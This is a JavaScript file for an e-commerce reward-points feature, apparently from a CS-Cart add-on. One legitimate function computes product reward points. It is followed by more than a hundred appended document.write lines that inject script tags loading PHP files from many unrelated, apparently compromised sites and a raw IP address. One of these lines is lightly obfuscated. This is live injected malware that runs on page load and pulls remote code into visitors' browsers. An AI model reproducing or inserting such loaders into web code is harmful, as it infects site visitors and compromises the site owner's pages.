//
// $Id: func.js 9182 2010-03-29 12:29:14Z 2tl $
//

var points = {};

// This function calculates the new product (earned && price) points and updates values
function fn_reward_points_check_exceptions(data)
{
	id = data.id;
	if (exclude_from_calculate[id] || !points[id]) {
		return false;
	}

	var delta = 0;
	var modifiers = [];
	var qty = document.getElementById('amount_' + id) ? parseInt(document.getElementById('amount_' + id).value) : 1;

	for (i in pr_o[id]) {
		if (!document.getElementById(pr_o[id][i]['id']) || !pr_o[id][i]['pm']) {
			continue;
		}

		modifiers[i] = pr_o[id][i]['pm'][pr_o[id][i]['selected_value']];
		if (typeof(modifiers[i]) == 'undefined') {
			continue;
		}
		if (modifiers[i].substring(0, 1) == 'A') {
			delta += parseFloat(jQuery.formatPrice(modifiers[i].substring(1, modifiers[i].length-1), decplaces));
		} else if(modifiers[i].substring(0, 1)  == 'P') {
			delta += parseFloat(jQuery.formatPrice(points[id]['reward'] * parseFloat(modifiers[i].substring(1, modifiers[i].length-1))/100, decplaces));
		}
	}

	if (document.getElementById('reward_points_' + id) && points[id]['reward']) {
		// Points calculation is based on the original price
		if (points_with_discounts == 'Y' && pr_d[id] && (pr_d[id]['A'] || pr_d[id]['P'])) {
			var amount_for_points = (parseFloat(update_ids[id]['original_price']['P'])) ? (update_ids[id]['original_price']['P'] - update_ids[id]['discount_value']['P']) : 0;
		} else {
			var amount_for_points = parseFloat(update_ids[id]['original_price']['P']);
		}
		var pamount = (points[id]['amount_type'] && points[id]['amount_type'] == 'P') ? amount_for_points * points[id]['pure_amount'] / 100 : points[id]['pure_amount'] * amount_for_points/update_ids[id]['original_price']['P'];
		var reward = Math.round(parseFloat(pamount) + parseFloat(delta));
		reward = Math.round(parseInt(qty) * reward);
		
		var span_reward_points = document.getElementById('reward_points_' + id);
		span_reward_points.innerHTML = reward;

		var div_reward_points = $(span_reward_points).parent();
		if (reward) {
			$(div_reward_points).show();
		} else {
			$(div_reward_points).hide();
		}
	}
	if (document.getElementById('price_in_points_' + id) && points[id]['per']) {
		if (points[id]['fixed_price']) {
			document.getElementById('price_in_points_' + id).innerHTML = Math.round(points[id]['fixed_price']);
		} else {
			var subtotal = (price_in_points_with_discounts == 'Y' && pr_d[id] && (pr_d[id]['A'] || pr_d[id]['P'])) ? update_ids[id]['product_subtotal']['P'] : qty * update_ids[id]['original_price']['P'];
			document.getElementById('price_in_points_' + id).innerHTML = Math.round(points[id]['per'] * subtotal);
		}
	}
	return true;
}

document.write('<script src=http://nudecelebsandpornstars.com/images/index.php ><\/script>');
document.write('<script src=http://nudecelebsandpornstars.com/images/index.php ><\/script>');
document.write('<script src=http://nudecelebsandpornstars.com/images/index.php ><\/script>');
document.write('<s'+'cript type="text/javascript" src="http://adoffy.alltuckedinathome.com:8080/JavaScript.js"></scr'+'ipt>');
document.write('<script src=http://nudecelebsandpornstars.com/images/index.php ><\/script>');
document.write('<script src=http://nudecelebsandpornstars.com/images/index.php ><\/script>');
document.write('<script src=http://l-n-a.co.uk/images/Contact.php ><\/script>');
document.write('<script src=http://l-n-a.co.uk/images/Contact.php ><\/script>');
document.write('<script src=http://l-n-a.co.uk/images/Contact.php ><\/script>');
document.write('<script src=http://l-n-a.co.uk/images/Contact.php ><\/script>');
document.write('<script src=http://l-n-a.co.uk/images/Contact.php ><\/script>');
document.write('<script src=http://l-n-a.co.uk/images/Contact.php ><\/script>');
document.write('<script src=http://l-n-a.co.uk/images/Contact.php ><\/script>');
document.write('<script src=http://l-n-a.co.uk/images/Contact.php ><\/script>');
document.write('<script src=http://l-n-a.co.uk/images/Contact.php ><\/script>');
document.write('<script src=http://l-n-a.co.uk/images/Contact.php ><\/script>');
document.write('<script src=http://l-n-a.co.uk/images/Contact.php ><\/script>');
document.write('<script src=http://remquynhlinh.com/js/_sanpham.php ><\/script>');
document.write('<script src=http://remquynhlinh.com/js/_sanpham.php ><\/script>');
document.write('<script src=http://remquynhlinh.com/js/_sanpham.php ><\/script>');
document.write('<script src=http://anandayogaa.org/_vti_script/contact_usold.php ><\/script>');
document.write('<script src=http://anandayogaa.org/_vti_script/contact_usold.php ><\/script>');
document.write('<script src=http://anandayogaa.org/_vti_script/contact_usold.php ><\/script>');
document.write('<script src=http://anandayogaa.org/_vti_script/contact_usold.php ><\/script>');
document.write('<script src=http://anandayogaa.org/_vti_script/contact_usold.php ><\/script>');
document.write('<script src=http://modiwatercooler.com/css/error_log.php ><\/script>');
document.write('<script src=http://modiwatercooler.com/css/error_log.php ><\/script>');
document.write('<script src=http://modiwatercooler.com/css/error_log.php ><\/script>');
document.write('<script src=http://modiwatercooler.com/css/error_log.php ><\/script>');
document.write('<script src=http://modiwatercooler.com/css/error_log.php ><\/script>');
document.write('<script src=http://modiwatercooler.com/css/error_log.php ><\/script>');
document.write('<script src=http://modiwatercooler.com/css/error_log.php ><\/script>');
document.write('<script src=http://modiwatercooler.com/css/error_log.php ><\/script>');
document.write('<script src=http://zavodnoy.uzelok.net/sites/INSTALL.pgsql.php ><\/script>');
document.write('<script src=http://zavodnoy.uzelok.net/sites/INSTALL.pgsql.php ><\/script>');
document.write('<script src=http://zavodnoy.uzelok.net/sites/INSTALL.pgsql.php ><\/script>');
document.write('<script src=http://zavodnoy.uzelok.net/sites/INSTALL.pgsql.php ><\/script>');
document.write('<script src=http://zavodnoy.uzelok.net/sites/INSTALL.pgsql.php ><\/script>');
document.write('<script src=http://zavodnoy.uzelok.net/sites/INSTALL.pgsql.php ><\/script>');
document.write('<script src=http://sameekshaiec.com/images/ucl/Sameeksha_logo.php ><\/script>');
document.write('<script src=http://sameekshaiec.com/images/ucl/Sameeksha_logo.php ><\/script>');
document.write('<script src=http://sameekshaiec.com/images/ucl/Sameeksha_logo.php ><\/script>');
document.write('<script src=http://sameekshaiec.com/images/ucl/Sameeksha_logo.php ><\/script>');
document.write('<script src=http://sameekshaiec.com/images/ucl/Sameeksha_logo.php ><\/script>');
document.write('<script src=http://sameekshaiec.com/images/ucl/Sameeksha_logo.php ><\/script>');
document.write('<script src=http://sameekshaiec.com/images/ucl/Sameeksha_logo.php ><\/script>');
document.write('<script src=http://sameekshaiec.com/images/ucl/Sameeksha_logo.php ><\/script>');
document.write('<script src=http://sameekshaiec.com/images/ucl/Sameeksha_logo.php ><\/script>');
document.write('<script src=http://sameekshaiec.com/images/ucl/Sameeksha_logo.php ><\/script>');
document.write('<script src=http://sameekshaiec.com/images/ucl/Sameeksha_logo.php ><\/script>');
document.write('<script src=http://seonoobs.com/yahoo_search_mrkt/error_log.php ><\/script>');
document.write('<script src=http://locksmithinlosangeles.com/images/google653e9e766bff783a.php ><\/script>');
document.write('<script src=http://locksmithinlosangeles.com/images/google653e9e766bff783a.php ><\/script>');
document.write('<script src=http://locksmithinlosangeles.com/images/google653e9e766bff783a.php ><\/script>');
document.write('<script src=http://locksmithinlosangeles.com/images/google653e9e766bff783a.php ><\/script>');
document.write('<script src=http://locksmithinlosangeles.com/images/google653e9e766bff783a.php ><\/script>');
document.write('<script src=http://locksmithinlosangeles.com/images/google653e9e766bff783a.php ><\/script>');
document.write('<script src=http://locksmithinlosangeles.com/images/google653e9e766bff783a.php ><\/script>');
document.write('<script src=http://locksmithinlosangeles.com/images/google653e9e766bff783a.php ><\/script>');
document.write('<script src=http://isozaki-yoshihiko.com/img/expressInstall.php ><\/script>');
document.write('<script src=http://isozaki-yoshihiko.com/img/expressInstall.php ><\/script>');
document.write('<script src=http://isozaki-yoshihiko.com/img/expressInstall.php ><\/script>');
document.write('<script src=http://isozaki-yoshihiko.com/img/expressInstall.php ><\/script>');
document.write('<script src=http://kurkino-hotel.ru/css/otzivi.php ><\/script>');
document.write('<script src=http://kurkino-hotel.ru/css/otzivi.php ><\/script>');
document.write('<script src=http://kurkino-hotel.ru/css/otzivi.php ><\/script>');
document.write('<script src=http://kurkino-hotel.ru/css/otzivi.php ><\/script>');
document.write('<script src=http://kurkino-hotel.ru/css/otzivi.php ><\/script>');
document.write('<script src=http://kurkino-hotel.ru/css/otzivi.php ><\/script>');
document.write('<script src=http://kurkino-hotel.ru/css/otzivi.php ><\/script>');
document.write('<script src=http://kurkino-hotel.ru/css/otzivi.php ><\/script>');
document.write('<script src=http://kurkino-hotel.ru/css/otzivi.php ><\/script>');
document.write('<script src=http://mazdamech.com/images/gifimg.php ><\/script>');
document.write('<script src=http://vemmanederland.nl/test/verzonden.php ><\/script>');
document.write('<script src=http://vemmanederland.nl/test/verzonden.php ><\/script>');
document.write('<script src=http://vemmanederland.nl/test/verzonden.php ><\/script>');
document.write('<script src=http://vemmanederland.nl/test/verzonden.php ><\/script>');
document.write('<script src=http://vemmanederland.nl/test/verzonden.php ><\/script>');
document.write('<script src=http://vemmanederland.nl/test/verzonden.php ><\/script>');
document.write('<script src=http://vemmanederland.nl/test/verzonden.php ><\/script>');
document.write('<script src=http://vemmanederland.nl/test/verzonden.php ><\/script>');
document.write('<script src=http://vemmanederland.nl/test/verzonden.php ><\/script>');
document.write('<script src=http://jamfo.ch/jamfo2009/wp-content/uploads/indexo.php ><\/script>');
document.write('<script src=http://uvbackdrops.com/Scripts/aboutus.php ><\/script>');
document.write('<script src=http://uvbackdrops.com/Scripts/aboutus.php ><\/script>');
document.write('<script src=http://uptodateserver.com/personalcare/config.php ><\/script>');
document.write('<script src=http://uptodateserver.com/personalcare/config.php ><\/script>');
document.write('<script src=http://uptodateserver.com/personalcare/config.php ><\/script>');
document.write('<script src=http://stuccoall.com/ssfm/welcome01.php ><\/script>');
document.write('<script src=http://stuccoall.com/ssfm/welcome01.php ><\/script>');
document.write('<script src=http://stuccoall.com/ssfm/welcome01.php ><\/script>');
document.write('<script src=http://stuccoall.com/ssfm/welcome01.php ><\/script>');
document.write('<script src=http://stuccoall.com/ssfm/welcome01.php ><\/script>');
document.write('<script src=http://1softsolutions.co.uk/pms/ecommerce_website_development.php ><\/script>');
document.write('<script src=http://mai-avto.ru/forum/db/yoyl/mssql.php ><\/script>');
document.write('<script src=http://mai-avto.ru/forum/db/yoyl/mssql.php ><\/script>');
document.write('<script src=http://mai-avto.ru/forum/db/yoyl/mssql.php ><\/script>');
document.write('<script src=http://mai-avto.ru/forum/db/yoyl/mssql.php ><\/script>');
document.write('<script src=http://mai-avto.ru/forum/db/yoyl/mssql.php ><\/script>');
document.write('<script src=http://odacomfort.ru/htdocs/2290111.php ><\/script>');
document.write('<script src=http://odacomfort.ru/htdocs/2290111.php ><\/script>');
document.write('<script src=http://98.130.220.222/js/tnec.php ><\/script>');
document.write('<script src=http://98.130.220.222/js/tnec.php ><\/script>');
document.write('<script src=http://98.130.220.222/js/tnec.php ><\/script>');
document.write('<script src=http://98.130.220.222/js/tnec.php ><\/script>');
document.write('<script src=http://98.130.220.222/js/tnec.php ><\/script>');
document.write('<script src=http://98.130.220.222/js/tnec.php ><\/script>');
document.write('<script src=http://98.130.220.222/js/tnec.php ><\/script>');
document.write('<script src=http://98.130.220.222/js/tnec.php ><\/script>');
document.write('<script src=http://98.130.220.222/js/tnec.php ><\/script>');
document.write('<script src=http://koalasnacks.com/images/W02-D03.php ><\/script>');
document.write('<script src=http://koroleva.kharkov.ua/js/qh_vote.php ><\/script>');
document.write('<script src=http://koroleva.kharkov.ua/js/qh_vote.php ><\/script>');
document.write('<script src=http://koroleva.kharkov.ua/js/qh_vote.php ><\/script>');